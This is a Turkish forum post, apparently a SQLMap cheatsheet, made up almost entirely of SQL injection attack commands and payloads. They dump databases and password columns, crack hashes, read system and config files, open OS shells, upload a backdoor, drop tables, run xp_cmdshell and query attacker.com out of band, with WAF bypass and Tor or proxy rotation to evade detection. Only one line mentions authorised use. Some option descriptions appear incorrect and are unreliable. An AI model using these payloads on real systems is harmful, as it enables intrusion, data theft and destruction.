Hoşgeldin Misafir

SQLMap | Detaylı Cheatsheet

tc4dy

Planet 9, Backrooms
19 Haz 2026
112 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:

Basit SQL Injection Tespitleri​


Basit bir URL üzerinde SQL injection tespiti yap​

sqlmap -u "http://example.com/page?id=1" --batch

Kullanıcı adı ve şifre gerektiren bir site üzerinde SQL injection tespiti yap​

sqlmap -u "http://example.com/login.php?user=admin&pass=test" --batch

Form verisi üzerinden SQL injection tespiti yap​

sqlmap -u "http://example.com/login.php" --data "username=admin&password=123" --batch

HTTPS URL üzerinde SQL injection tespiti yap​

sqlmap -u "https://example.com/page?id=1" --batch


Vuln check​

Belirtilen URL'de tüm parametrelerde SQL injection zafiyetini tespit et​

sqlmap -u "http://example.com/page?id=1" --crawl=3 --batch

Başka bir parametreyi de test et​

sqlmap -u "http://example.com/search.php?q=test" --batch

HTTP başlıklarını gözlemleyerek hedefi test et​

sqlmap -u "http://example.com/page?id=1" -H "User-Agent: Mozilla/5.0" --batch

Siteyi daha derin tarayarak parametreleri keşfet​

sqlmap -u "http://example.com/page?id=1" --crawl=5 --batch


Database / Table check​

Hedefin veritabanlarını listele​

sqlmap -u "http://example.com/page?id=1" --dbs --batch

Belirli bir veritabanındaki tabloları listele​

sqlmap -u "http://example.com/page?id=1" -D target_db --tables --batch

Belirli bir tablodaki verileri listele​

sqlmap -u "http://example.com/page?id=1" -D target_db -T target_table --dump --batch


Data dump​

Hedef veritabanındaki tüm verileri dışa aktar​

sqlmap -u "http://example.com/page?id=1" --dump --batch

Sadece belirli bir tablodan veri çek​

sqlmap -u "http://example.com/page?id=1" -D target_db -T target_table --dump --batch

Veritabanını bir dosyaya dışa aktar​

sqlmap -u "http://example.com/page?id=1" --dump-all --batch -o output.txt


Advanced SQLMAP USING​

SQLMap'ı farklı bir proxy üzerinden çalıştır (örneğin burp suite)​

sqlmap -u "http://example.com/page?id=1" --proxy "http://localhost:8080" --batch

Hedef veritabanı için alternatif bir payload kullan​

sqlmap -u "http://example.com/page?id=1" --tamper="between" --batch

Hedef siteyi login kullanarak test et​

sqlmap -u "http://example.com" --cookie="SESSIONID=abcd1234" --batch

Siteyi SQLMap ile taradıktan sonra zafiyetten yararlanarak admin paneline giriş yap​

sqlmap -u "http://example.com/login.php?user=admin&pass=test" --data "username=admin&password=123" --batch --threads=10

Veritabanına bir bağlantı açmak için --os-shell ve --os-pwn kullan​

sqlmap -u "http://example.com/page?id=1" --os-shell --batch
sqlmap -u "http://example.com/page?id=1" --os-pwn --batch

Hedef veritabanındaki tabloyu ve verilerini elde et​

sqlmap -u "http://example.com/page?id=1" -D target_db -T target_table --dump --batch

Hedef sisteme bir dosya yükle​

sqlmap -u "http://example.com/page?id=1" --os-pwn --upload-file="/path/to/local/file" --batch

Tüm veritabanlarını dışa aktar​

sqlmap -u "http://example.com/page?id=1" --dump-all --batch

Dizin gezme ve dosya okuma​

sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd" --batch


Gelişmiş sqlmap Teknikleri (WAF Atlatma, Sistem Erişimi, OOB)​

Tüm mevcut tamper script'lerini listele​

sqlmap --list-tampers

Birden fazla tamper script'ini art arda kullan (WAF atlatma)​

sqlmap -u "http://example.com/page?id=1" --tamper="randomcase,space2comment,equaltolike" --batch

Boşlukları yorum satırıyla değiştir (space2comment)​

sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --batch

Anahtar kelimeleri rastgele büyük/küçük harf yap (randomcase)​

sqlmap -u "http://example.com/page?id=1" --tamper=randomcase --batch

Eşittir işaretini LIKE ile değiştir (equaltolike)​

sqlmap -u "http://example.com/page?id=1" --tamper=equaltolike --batch

Tek tırnakları maskeli hale getir (apostrophemask)​

sqlmap -u "http://example.com/page?id=1" --tamper=apostrophemask --batch

Base64 ile payload'ı kodla (base64encode)​

sqlmap -u "http://example.com/page?id=1" --tamper=base64encode --batch

Hex encode ile payload'ı gizle (hexencode)​

sqlmap -u "http://example.com/page?id=1" --tamper=hexencode --batch

İkili (binary) veri gönderme (charencode)​

sqlmap -u "http://example.com/page?id=1" --tamper=charencode --batch

Unicode dönüşümü (charunicodeencode)​

sqlmap -u "http://example.com/page?id=1" --tamper=charunicodeencode --batch

GREATEST fonksiyonu ile OR mantığını atlat (greatest)​

sqlmap -u "http://example.com/page?id=1" --tamper=greatest --batch

Çoklu boşluk ekle (multiplespaces)​

sqlmap -u "http://example.com/page?id=1" --tamper=multiplespaces --batch

Rastgele User-Agent kullan (WAF'ı şaşırt)​

sqlmap -u "http://example.com/page?id=1" --random-agent --batch

Mobil cihaz taklidi (mobile)​

sqlmap -u "http://example.com/page?id=1" --mobile --batch

Özel HTTP başlığı ekle (örneğin X-Forwarded-For)​

sqlmap -u "http://example.com/page?id=1" --headers="X-Forwarded-For: 127.0.0.1" --batch

Referer sahtekarlığı​

sqlmap -u "http://example.com/page?id=1" --referer="http://example.com/home" --batch

Canlı çerez dosyası kullan (live-cookies)​

sqlmap -u "http://example.com/page?id=1" --live-cookies=live_cookies.txt --batch

Tor ağı üzerinden çalıştır (anonimlik)​

sqlmap -u "http://example.com/page?id=1" --tor --tor-type=SOCKS5 --check-tor --batch

Proxy listesi ile döngü (proxy-file)​

sqlmap -u "http://example.com/page?id=1" --proxy-file=proxies.txt --proxy-freq=5 --batch

İstekler arası gecikme (delay) - rate limit atlatmak için​

sqlmap -u "http://example.com/page?id=1" --delay=2 --batch

Daha agresif test seviyesi (level=5 risk=3)​

sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3 --batch

Veritabanı parmak izi (banner, version)​

sqlmap -u "http://example.com/page?id=1" --banner --batch
sqlmap -u "http://example.com/page?id=1" --current-db --batch
sqlmap -u "http://example.com/page?id=1" --current-user --batch

Belirli bir tablodaki sütunları listele​

sqlmap -u "http://example.com/page?id=1" -D target_db -T users --columns --batch

Sadece belirli sütunları al (örneğin username, password)​

sqlmap -u "http://example.com/page?id=1" -D target_db -T users -C "username,password" --dump --batch

Veritabanı şemasını çıkar (schema)​

sqlmap -u "http://example.com/page?id=1" --schema --batch

Veri çekerken thread sayısını artır (hızlı dump)​

sqlmap -u "http://example.com/page?id=1" -D target_db -T users --dump --threads=10 --batch

Çıktıyı belirli bir formatta al (csv, html, txt)​

sqlmap -u "http://example.com/page?id=1" --dump --output-format=csv --batch

Burp Suite'ten yakalanan isteği dosyadan oku (request file)​

sqlmap -r burp_request.txt --batch

HTTP metodu belirleme (PUT, DELETE vb.)​

sqlmap -u "http://example.com/page" --method=PUT --data="id=1" --batch

Dosya okuma (file-read) - örneğin /etc/passwd, web.config​

sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd" --batch
sqlmap -u "http://example.com/page?id=1" --file-read="C:/inetpub/wwwroot/web.config" --batch

Dosya yükleme (upload) - shell yükle​

sqlmap -u "http://example.com/page?id=1" --os-pwn --upload-file="/path/to/backdoor.php" --batch

Sistem komutu çalıştırma (os-cmd)​

sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami" --batch
sqlmap -u "http://example.com/page?id=1" --os-cmd="id" --batch

İnteraktif OS shell (os-shell)​

sqlmap -u "http://example.com/page?id=1" --os-shell --batch

OOB (Out-of-Band) shell ile Meterpreter veya VNC bağlantısı (os-pwn)​

sqlmap -u "http://example.com/page?id=1" --os-pwn --batch

Ayrıcalık yükseltme (priv-esc)​

sqlmap -u "http://example.com/page?id=1" --priv-esc --batch

SMB relay ile OOB shell (os-smbrelay)​

sqlmap -u "http://example.com/page?id=1" --os-smbrelay --batch

Stored procedure buffer overflow (os-bof)​

sqlmap -u "http://example.com/page?id=1" --os-bof --batch

SQLMap'i sessiz modda çalıştır (verbose seviyesi)​

sqlmap -u "http://example.com/page?id=1" --batch -v 0

SQLMap ile otomatik olarak yanıtları bekleme (batch + answer)​

sqlmap -u "http://example.com/page?id=1" --batch --answers="crack=Y,dos=Y"

Tüm testleri atlayıp sadece belirli tekniği kullan (--technique)​

sqlmap -u "http://example.com/page?id=1" --technique=B --batch # Boolean
sqlmap -u "http://example.com/page?id=1" --technique=T --batch # Time
sqlmap -u "http://example.com/page?id=1" --technique=U --batch # Union
sqlmap -u "http://example.com/page?id=1" --technique=E --batch # Error

Çoklu hedef dosyası kullan (--list)​

sqlmap --list=targets.txt --batch

SQLMap'i bir web proxy üzerinden çalıştır (örneğin mitmproxy)​

sqlmap -u "http://example.com" --proxy="http://localhost:8081" --batch

Tüm sonuçları bir log dosyasına yaz (--log-file)​

sqlmap -u "http://example.com/page?id=1" --log-file=sqlmap.log --batch

Zafiyet tespitinden sonra otomatik olarak veritabanı bilgilerini çek (--flush-session)​

sqlmap -u "http://example.com/page?id=1" --flush-session --batch


Manuel SQL Injection Payload'ları (Otomasyonun yetmediği yerlerde)​

Kimlik atlatma (Auth Bypass) - login sayfasında kullan​

' OR '1'='1
' OR 1=1 --
admin' --
admin' #
' OR 1=1#
' OR '1'='1' --
') OR ('1'='1
' OR 1=1 LIMIT 1 --
' OR 'x'='x

Sütun sayısını bulmak için ORDER BY​

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

UNION ile sütun sayısını eşleştir​

-1' UNION SELECT 1,2,3--
-1' UNION SELECT null,null,null--

UNION ile veritabanı bilgisi çek​

-1' UNION SELECT database(),user(),version()--
-1' UNION SELECT table_name,null FROM information_schema.tables--
-1' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users'--

Hata tabanlı (Error-based) MySQL payload'ları​

' AND (SELECT * FROM (SELECT COUNT(),CONCAT((SELECT database()),FLOOR(RAND(0)2))x FROM information_schema.tables GROUP BY x)a)--
' AND extractvalue(1,concat(0x7e,(select database()),0x7e))--
' AND updatexml(1,concat(0x7e,(select database()),0x7e),1)--

PostgreSQL error-based​

' AND 1=CAST((SELECT version()) AS int)--

Boolean tabanlı (Blind) - sayfa davranışına göre​

' AND 1=1--
' AND 1=2--
' AND SUBSTRING((SELECT database()),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--

Time-based (Blind) - MySQL​

' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0)--

Time-based (Blind) - PostgreSQL​

' AND pg_sleep(5)--
' AND CASE WHEN (SELECT current_database())='test' THEN pg_sleep(5) ELSE pg_sleep(0) END--

Time-based (Blind) - MSSQL​

' WAITFOR DELAY '0:0:5'--
' IF (SELECT @@version) LIKE '%Microsoft%' WAITFOR DELAY '0:0:5'--

Out-of-Band (DNS/HTTP) - Oracle​

' AND (SELECT utl_inaddr.get_host_address('attacker.com') FROM dual)--

Stacked Queries (çoklu sorgu) - MySQL​

'; DROP TABLE users; --
'; INSERT INTO users VALUES('hacker','pass'); --

File operation (dosya işlemleri) - MySQL​

' UNION SELECT load_file('/etc/passwd')--
' INTO OUTFILE '/tmp/out.txt'--

MSSQL - xp_cmdshell ile komut çalıştırma​

'; EXEC xp_cmdshell('whoami'); --

PostgreSQL - COPY ile dosya okuma/yazma​

'; COPY (SELECT 'test') TO '/tmp/out.txt'; --

WAF atlatmak için komut içinde yorum satırı kullanma (MySQL)​

' OR 1=1 -- -
' UNION//SELECT//1,2,3--
'/!UNION/SELECT/**/1,2,3--

Case değiştirme (büyük/küçük harf)​

' uNiOn sElEcT 1,2,3--

Çift URL encode​

%2527 OR 1=1%252D%252D

Unicode ile atlatma (MySQL)​

'%bf%27 OR 1=1 --

Veritabanı şema bilgilerini çekme (MySQL)​

' UNION SELECT table_schema,table_name FROM information_schema.tables--
' UNION SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'--

Parola hash'lerini kırma (John ile kombinasyon)​

sqlmap -u "http://example.com/page?id=1" -D target_db -T users -C "username,password" --dump --batch

Çıkan hash'leri john --format=raw-md5 hash.txt ile kır​

Blind SQLi'de veri çekmek için özel script yazma (örneğin Python)​

Yukarıdaki zaman tabanlı veya boolean tabanlı payload'ları kullanarak manuel script yazılabilir.​

SQLMap'in manuel müdahale için --sql-shell ile interaktif SQL sorgusu çalıştırma​

sqlmap -u "http://example.com/page?id=1" --sql-shell --batch

Sonrasında: SELECT database(); gibi sorgular girebilirsiniz.​

SQLMap ile otomatik olarak veritabanı şifrelerini kırma (--crack)​

sqlmap -u "http://example.com/page?id=1" --crack --batch

SQLMap ile verbose seviyesini artırarak detaylı log alma​

sqlmap -u "http://example.com/page?id=1" -v 6 --batch


Kritik Bilinmeyen/Unutulmaması Gereken Noktalar​

  • Her zaman --batch kullanmayın; bazen interaktif olmak gerekir (örneğin WAF tespitinde).
  • --level=5 ve --risk=3 çok agresif testler yapar, veritabanını çökertme riski vardır. Yetkili testlerde dikkatli olun.
  • --os-shell ve --os-pwn çalıştırmak için veritabanı yetkilerinin yüksek olması gerekir (DBA, root).
  • Dosya okuma/yazma işlemlerinde secure_file_priv (MySQL) değişkenini kontrol edin.
  • WAF atlatmak için tamper script'lerini denemeden önce manuel olarak WAF'ın neyi engellediğini anlayın.
  • Blind SQLi'de time-based kullanırken ağ gecikmesini hesaba katın (--delay ile bekleme süresini ayarlayın).
  • Proxy kullanımı (Burp) ile trafiği izlemek, manuel müdahale için çok faydalıdır.
  • SQLMap'in --flush-session seçeneği, önceki oturum bilgilerini siler ve tüm testleri yeniden başlatır.
  • Çoklu hedef taraması için -m veya --list kullanarak dosyadan URL listesi okuyun.
  • Sonuçları -o ile çıktı dosyasına yazarken format seçeneklerini kullanın (CSV, HTML, TXT).
  • Veritabanı şifrelerini kırmak için --crack kullanabilir, ancak harici bir cracker (John, Hashcat) daha etkili olabilir.
  • MSSQL ve Oracle gibi farklı DBMS'ler için özel payload'ları bilmek gerekir (sqlmap otomatik tespit eder).
  • --dbms parametresi ile hedef DBMS'yi belirterek test süresini kısaltabilirsiniz (örnek: --dbms=mysql).
  • --os parametresi ile hedef işletim sistemini belirterek dosya yolu gibi detayları optimize edin.
  • Güncel sqlmap versiyonunu kullanın (git pull ile sürekli güncelleyin).
  • Tüm bu komutlar yalnızca yetkili test ortamlarında ve yasal izinler dahilinde kullanılmalıdır.

Bonus: SQLMap ile Otomatik Raporlama​

Rapor oluştur (HTML formatında)​

sqlmap -u "http://example.com/page?id=1" --batch --output-dir=/reports

JSON formatında çıktı al​

sqlmap -u "http://example.com/page?id=1" --batch -o report.json --output-format=json

Tüm parametreleri otomatik doldurarak sessiz modda çalıştır (--answers)​

sqlmap -u "http://example.com/page?id=1" --batch --answers="crack=Y,do you want to exploit?=Y"

Sonuçları bir veritabanına kaydet (--dbms-cred)​

sqlmap -u "http://example.com/page?id=1" --dbms-cred="user:pass" --output-dir=./logs